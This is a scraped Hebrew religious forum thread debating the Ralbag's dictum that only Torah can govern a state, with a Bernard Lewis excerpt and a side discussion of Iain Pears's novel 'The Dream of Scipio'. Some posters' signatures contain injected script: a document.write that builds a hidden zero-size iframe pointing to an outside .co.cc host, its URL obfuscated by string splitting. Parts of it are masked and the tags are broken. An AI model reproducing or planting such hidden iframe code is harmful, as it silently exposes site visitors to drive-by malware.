בית פורומים עצור כאן חושבים

רק באמצעות התורה אפשר להנהיג מדינה

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-15/2/2010 10:50 לינק ישיר 

ברנארד לואיס:

For the first thousand years of its history, Islamic civilization's relationship to Christendom was one of dominance. The loss of Spain and Portugal on the remote western periphery had little impact in the heartlands of Islam, and was more than compensated by the advance toward the heart of continental Europe. As late as 1683, an Ottoman army was encamped before the very gates of Vienna. Earlier in the seventeenth century, North African corsairs were raiding as far north as the British Isles. By the early nineteenth century, however, Islamic power was clearly in retreat as European power grew. Finding themselves the targets of conquest and colonization, Muslims naturally began to wonder what had gone wrong. Islam had always been generally "successful" in worldly terms. Unlike the founder of Christianity, who was crucified and whose followers saw their religion made the official faith of the Roman Empire only after centuries as a persecuted minority, Mohammed founded a state during his lifetime, and as ruler he collected taxes, dispensed justice, promulgated laws, commanded armies, and made war and peace.

Educated Muslims, chagrined by the newfound potency of their European rivals, asked: What are they doing right and what are we doing wrong, or not doing at all? Representative, constitutional government was high on the list. The nineteenth century saw the rise of elected assemblies in a number of Western countries, and democracy in our current sense was beginning to take hold. Many Muslims suspected that here--in this most exotic and alien of Western practices--lay the secret to the West's wealth and power, and hoped that the adoption of constitutions and the creation of elected legislatures in the Islamic world would redress the civilizational balance.

Getting used to the idea was not easy; the first Muslim visitors to the West disliked much of what they saw. The earliest detailed deion of England by a Muslim traveller is a fascinating account by Mirza Abu Talib Khan, a Turko-Persian resident of Lucknow who was in England between 1798 and 1803. He watched the House of Commons in action, and his comments are enlightening. The government and opposition MPs sitting on their benches facing each other across the chamber reminded him of trees full of parrots squawking at each other, a common sight back home in India. When he learned that the purpose of the noisy assemblage was to make laws, he was shocked. The English, he explained to his readers, had not accepted a divine law and so were reduced to the expedient of making their own laws, in accordance with the experience of their judges and the requirements of their time.


http://www.mtholyoke.edu/acad/intrel/blewis.htm



דדווח על תוכן פוגעני

מחובר
נשלח ב-15/2/2010 18:13 לינק ישיר 

בעל,
אולי הם היו אומרים שהדמוקרטיה יכלה לקום רק אחרי היווסדה של הדת. אמנם התהליך עבר סקולריזציה.



דדווח על תוכן פוגעני

מנותק
נשלח ב-16/2/2010 00:38 לינק ישיר 

מיכי
השאלה אם כוונתו של הרלב"ג לדת נבואית שמימית, או לחוקה אחידה ומלכדת.

אם לדת נבואית כוונתו, הדמוקרטיה לא צמחה מהיהדות.

אם למערכת חוקים גרידא כוונתו, מה נתנה הדת לדמוקרטיה ? כל מערכת חוקים אף הפרימיטבית ביותר, היא נדבך חשוב במעבר לדמוקרטיה. גם אם היא לא מערכת חוקים דתית.

ואל נשכח שאחד מעיקרי הדמוקרטיה היא חופש דת, והחופש מדת, הכוללים זכויות מיעוט מידע מצפון וביטוי.
ערכים אלו מנוגדים בבסיסם לחוקים דתיים.



דדווח על תוכן פוגעני

סמל אישי
מחובר
נשלח ב-21/2/2010 23:42 לינק ישיר 

נישטאיך כתב:
<"רק עם התורה אפשר להנהיג מדינה">

מתי זה היה?

האם הר"ן חולק עליו?

נישאיך, כאילו לא ידעת, ראה הדרוש האחד עשר בדרשות הר"ן




דדווח על תוכן פוגעני

מנותק
נשלח ב-21/7/2012 21:30 לינק ישיר 



ההלכה של איש המדינה (הרב גורן)

http://musaf-shabbat.com/2012/07/20/%d7%94%d7%94%d7%9c%d7%9b%d7%94-%d7%a9%d7%9c-%d7%90%d7%99%d7%a9-%d7%94%d7%9e%d7%93%d7%99%d7%a0%d7%94-%d7%90%d7%91%d7%99%d7%a2%d7%93-%d7%99%d7%97%d7%99%d7%90%d7%9c-%d7%94%d7%95%d7%9c%d7%a0%d7%93%d7%a8/



דדווח על תוכן פוגעני

מנותק
נשלח ב-6/3/2015 11:01 לינק ישיר 

הפרדת דת ומדינה, מבוא כללי קצר



תוקן על ידי ספרן ב- 06/03/2015 11:27:47




דדווח על תוכן פוגעני

מנותק
נשלח ב-6/3/2015 11:20 לינק ישיר 

יצחק_יונתן כתב:

האם לדעתכם הסובלנות כלפיו והכללתו בקונסנסוס למרות הדעות החריגות קשורה בהכללת פירושו ב"מקראות גדולות" ש"קיבע" אותו כאחד הפרשנים הלגיטימיים? (כיו"ב ניתן לומר על האבן-עזרא, ובמידה מועטה יותר, על המהר"ץ חיות)


האם מצאנו את הדרך להכניס את עצכ"ח לקונצנזוס? מיימוני, כתוב פירוש לש"ס ושלם ל'עוז והדר' כדי שיכניסו אותו פנימה.

והאמת היא שרוב הנמצאים בקונצנזוס זכו למעמדם בגלל תמיכה של גדיילים שונים. וכמותם גם ר' גדליה נדל.



דדווח על תוכן פוגעני

מחובר
נשלח ב-6/3/2015 11:25 לינק ישיר 

יצחק_יונתן כתב:

האם לדעתכם הסובלנות כלפיו והכללתו בקונסנסוס למרות הדעות החריגות קשורה בהכללת פירושו ב"מקראות גדולות" ש"קיבע" אותו כאחד הפרשנים הלגיטימיים? (כיו"ב ניתן לומר על האבן-עזרא, ובמידה מועטה יותר, על המהר"ץ חיות)

מדובר בבורות היסטורית, כאילו הריב"ש [שהתקיפו בכבוד] והרשב"ץ חיו לאחר פרסום המקראות גדולות




דדווח על תוכן פוגעני

מחובר
נשלח ב-6/3/2015 15:49 לינק ישיר 

ספרן כתב:
הפרדת דת ומדינה, מבוא כללי קצר




תשימו לב. יש לו דת שנקראת "מדינה"
מבחינתו הדת הזו היא הכרח, רק נשאר לשאול האם שאר הדתות ראויים להיות חלק בדת המרכזית.
ויש לו ארבע מודלים


  • הפרדה חדה: חציצה חד משמעית בין המערך הפוליטי לשדה הדתי. המדינה לא מממנת, לא מתעדפת ולא משפיעה על המוסדות הדתיים. היא חופשית מהם והם חופשיים ממנה. האזרחים נקראים לבחור אם לאמץ או לדחות דת כלשהי.
  • הפרדה תוך העדפה: המדינה נמנעת מלפקח על הדת והממסד הפוליטי אינו תחת סמכות דתית, אולם המדינה תומכת במוסדות דתיים, וייתכן שאף תומכת בדת מסויימת ולא באחרות.
  • חילון כפוי: לא רק שהמדינה לא תומכת במוסדות דתיים, אלא שהיא מפקחת על הדת, ולמעשה מגבילה אותה, במטרה לשמור את השפעתה על המרחב הציבורי מינימלית.
  • דת ממלכתית: הממסד הפוליטי נפרד מהממסד הדתי, אולם יש שיתוף פעולה הדוק ביניהם: המדינה תומכת ומממנת דת מסויימת, כופה חלקים ממנה על האזרחים, לא מכירה בדתות אחרות, אולם גם מפקחת על הדת, ומסדירה בכוחה את יחסי הגומלין בינה ובין המרחב הציבורי.

    וכאן הקאץ'. תבטלו את דת המדינה ותשחררו את האדם מכל ע"ז = ישויות דמיוניות.
    הכותב הנכבד לא יורד לעומק האבולוציה האנושית ומה מניע אותו ולאיזה כיוונים.
    לא דת ולא דת מדינה היא הבעיות האנושיות, הבעיות האנושיות היא חופש וחירות + הטבע. ולא כמו שדת המדינה מנסה לטוען בדוגמטיות שיש חופש וחירות האדם בלי הטבע.
    הכל מתחיל ונגמר האם יש לאדם את הטבע או אין לו את הטבע.
    כל דת כמו דת המדינה באים כאמצעי להחזיר לאדם את הטבע.
    הדת היחידי שאפשר לומר שהיא עונה לבעיה, היא הדת היהודית. היא לא מכירה בדת המדינה וכמובן מחזירה לאדם את הטבע ככה שיש לו חופש מוחלט + הטבע.
    ולדת היהודית יש תזה ברורה מה יקרה אם נשלול את הטבע מהפרט בחסות ישויות דמיוניות כמו מדינה. וכל נבואות הזעם מתקיימות ותתקיימו לעולם כל זמן שנרצה ישויות דמיוניות = ע"ז כמו מדינה או אליל הכסף והקניינים.


  • תוקן על ידי maxmen ב- 06/03/2015 16:29:46




    דדווח על תוכן פוגעני

    מנותק
    נשלח ב-7/3/2015 21:50 לינק ישיר 

    סליחה שאני אומר,

    אבל אני לא בטוח,

    שבדמוקרטיות המערביות,

    אין חסרונות גדולים,
    [שאין בדת]

    לדוגמה,
    כל הקטע של רציחת עוברים,

    בעזרת כל מיני סיסמאות "דמוקרטיות",

    ואני לא חושב,
    שהבעייה פה,
    היא רק נקודתית,

    כי זה לעשירות דעתי,
    תסמין,

    לחברה שהחוקים שבה,
    הם סה"כ,
    חוקים,
    של:
    "שמור לי, ואשמור לך",
    ללא מוסר אמיתי,
    מצד עצמו,

    אז ממילא,
    כשמדובר לדוגמה בעוברים,
    שאין אינטרס לאנשים,

    ללחום ברציחתם, אפשר להתירם,
    ע"י סיסמאות כנ"ל.



    דדווח על תוכן פוגעני

    מחובר
    נשלח ב-10/3/2015 09:12 לינק ישיר 

    http://www.ynet.co.il/articles/0,7340,L-4635091,00.html



    דדווח על תוכן פוגעני

    מחובר
    נשלח ב-9/4/2015 10:28 לינק ישיר 

    זריחת_עץ כתב:
    מי שכתב את הציטטה הזו, רבי לוי בן גרשון, היה רחוק מהרבה מאוד דעות אחרות מקובלות בנות זמננו, בין של עכ"ח, בין של "אוהלה של יהדות". הוא היה רציונליסט וחשב שנס כמו "שמש בגבעון דום" למעשה היה רק אירוע טבעי. הוא האמין אמונה שלמה באסטרולוגיה וחשב שעל פיה מסתובב העולם ושכל מה שמאפיין נביא הוא בקיאותו בה. מצד שני הוא האמין בבחירה חופשית וכדי לקיים אותה צמצם את ידיעת ה' וסבר שהיא מוגבלת מאוד. הוא צמצם מאוד גם את ההשגחה הפרטית, וסבר שהיא קיימת רק כלפי הצדיק המושגח. לא לחינם ר' יצחק עראמה קרא לספרו "מלחמות ה'" - "מלחמות על ה'".


    רלב"ג הוא אחת הדמויות בספרו המרשים של איאן פרס, "חלומו של סקיפיו".



    דדווח על תוכן פוגעני

    מחובר
    נשלח ב-12/4/2015 10:28 לינק ישיר 

    אריאל

    עתה ראיתי את דבריך.

    אני סבור שאתה צודק. לפי המסופר, ר' ישראל מסלנט הקדיש זמן כדי להאדיר את שמו כתלמיד חכם ובעל יכולת לפלפל ברוח התקופה כדי ששמו הטוב יאפשר לו להציג את החידוש שלו, הגישה המוסרית שלו.

    מי שנהנה משם טוב יכול להביע דעות חריגות. לפחות עד גבול מסויים שלא אנסה להגדיר.



    בסדר הבנו

    לא שמעתי על הספר אבל התייחסתי להמלצתך ומצאתי בויקי את ההערה הבאה.

    הרלב"ג (רבי לוי בן גרשום), הפילוסוף היהודי שמדריך את אוליבייה דה נואיין, הוא דמות היסטורית ממשית, ידועה היטב הן כמלומד דתי והן כמדען (מכתש "רבי לוי" בירח קרוי על שמו). עם זאת, מפגשו עם האפיפיור קלמנט השישי (דמות היסטורית ממשית גם הוא) במהלך המגפה, המתואר בספר, הוא בדוי לחלוטין. למעשה, השאלה אם הרלב"ג כלל היה חי באותו הזמן שנויה במחלוקות בקרב היסטוריונים. המשרתת של הרלב"ג, רבקה, אהובתו של אוליבייה, גם היא בדויה.

    http://he.wikipedia.org/wiki/%D7%97%D7%9C%D7%95%D7%9D_%D7%A1%D7%A7%D7%99%D7%A4%D7%99%D7%95_%28%D7%A8%D7%95%D7%9E%D7%9F%29


    עד כמה אפשר ללמוד מתיאור ספרותי על דמותו של אדם שידוע עליו די מעט, זאת שאלה מעניינת. מן הסתם אם המחבר בחר בו לתפקיד בספרו, זה מפני שהתרשם ממנו. כמובן, זה מעיד על המחבר יותר מאשר על הדמות ההיסטורית. צא וראה כיצד בעל "הקוד של דה וינצ'י" חסר ידע בסיסי בדברים רבים. אבל תודה על ההפניה.

    _________________

    שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




    דדווח על תוכן פוגעני

    מנותק
    נשלח ב-12/4/2015 14:29 לינק ישיר 

    מיימוני כתב:

    הרלב"ג (רבי לוי בן גרשום), הפילוסוף היהודי שמדריך את אוליבייה דה נואיין, הוא דמות היסטורית ממשית, ידועה היטב הן כמלומד דתי והן כמדען (מכתש "רבי לוי" בירח קרוי על שמו). עם זאת, מפגשו עם האפיפיור קלמנט השישי (דמות היסטורית ממשית גם הוא) במהלך המגפה, המתואר בספר, הוא בדוי לחלוטין. למעשה, השאלה אם הרלב"ג כלל היה חי באותו הזמן שנויה במחלוקות בקרב היסטוריונים. המשרתת של הרלב"ג, רבקה, אהובתו של אוליבייה, גם היא בדויה.

    http://he.wikipedia.org/wiki/%D7%97%D7%9C%D7%95%D7%9D_%D7%A1%D7%A7%D7%99%D7%A4%D7%99%D7%95_%28%D7%A8%D7%95%D7%9E%D7%9F%29


    עד כמה אפשר ללמוד מתיאור ספרותי על דמותו של אדם שידוע עליו די מעט, זאת שאלה מעניינת. מן הסתם אם המחבר בחר בו לתפקיד בספרו, זה מפני שהתרשם ממנו. כמובן, זה מעיד על המחבר יותר מאשר על הדמות ההיסטורית. צא וראה כיצד בעל "הקוד של דה וינצ'י" חסר ידע בסיסי בדברים רבים. אבל תודה על ההפניה.

    < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



    תודה גם לך.

    אני חושב שהספר הנ"ל מוכוון דמויות הרבה יותר מאשר מוכוון עלילה, ומסיבה זו, זה לא כ"כ משנה לו האם רלב"ג ההיסטורי פגש את האפיפיור ההיסטורי או לא. למעשה הייתי אומר מעבר לכך: הספר מוכוון רעיונות יותר מאשר מוכוון דמויות. כשדמויות נפגשות בו, זה לרוב בסיס לתיאור של מפגש של תפיסות שונות.
    העלית נקודה מעניינת: כנראה שהסופר לא הוטרד מהשאלה האם שני האישים אכן נפגשו היסטורית. ייתכן, אבל, שהוא גם לא הוטרד מהתאמת תפיסות ארכטיפיות לדמויות שאותן הציג. (במילים אחרות: אינני יודע האם הוא אכן התעניין במה שרלב"ג אכן אמר, או בחר תפיסה יהודית, לטעמו, והלביש אותה על המלומד היהודי המפורסם הקרוב ביותר לזמן ולמקום.)

    אני חייב להסתייג מההשוואה ל"צופן דה וינצ'י" ודומיו. מעבר להיותו רומן זבל, לטעמי, אין בו מאומה מעבר לתיאוריות הקונספירציה ההזויות, שהטעות בעובדותיהן פוגעת בו באופן מהותי.





    דדווח על תוכן פוגעני

    מחובר
    נשלח ב-12/4/2015 14:46 לינק ישיר 

    גם אני לא רואה כיצד אפשר להסיק מספר אחד לספר אחר גם אם הם מסוגה דומה.
    אומברטו אקו למשל די יודע על מה הוא מדבר, וזה בהמון נושאים



    דדווח על תוכן פוגעני

    מחובר
       
    בית > פורומים > דת ואמונה > עצור כאן חושבים > רק באמצעות התורה אפשר להנהיג מדינה
    מנהל לחץ כאן לנעילת האשכול
    הוסף לעמוד האישי  דווח למנהל שלח לחבר
    לדף הקודם 1 2 3 לדף הבא סך הכל 3 דפים.

    bholext
    2009 © כל הזכויות שמורות לבחדרי חרדים. קטגוריית אקטואליה וחדשות: עשרות פורומים הכוללים חדשות נעייס, מה קורה בחצרות חסידים, חדשות מחסידויות שונות בארץ ובעולם, דיונים בנושאי אקטואליה, פוליטיקה, בטחון ועוד.